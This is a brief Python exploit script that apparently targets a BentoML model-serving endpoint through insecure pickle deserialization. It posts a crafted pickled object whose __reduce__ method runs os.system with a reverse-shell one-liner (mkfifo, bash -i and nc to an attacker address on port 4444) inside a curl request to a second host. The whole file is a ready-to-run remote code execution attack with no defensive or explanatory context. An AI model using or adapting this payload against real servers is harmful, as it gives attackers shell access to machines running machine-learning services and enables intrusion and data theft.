import requests
import pickle

url = "http://192.168.101.yy:3000/"

headers = {
    "args-number": "1",
    "Content-Type": "application/vnd.bentoml.pickled",
    "Payload-Container": "NdarrayContainer",
    "Payload-Meta": '{"format": "default"}',
    "Batch-Size": "-1",
}


class P:
    def __reduce__(self):
        return (
            __import__("os").system,
            (
                'curl -X POST -d "$(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.xx.xx 4444 >/tmp/f)" http://192.168.101.234:1337',
            ),
        )


response = requests.post(url, headers=headers, data=pickle.dumps(P()))

print(response)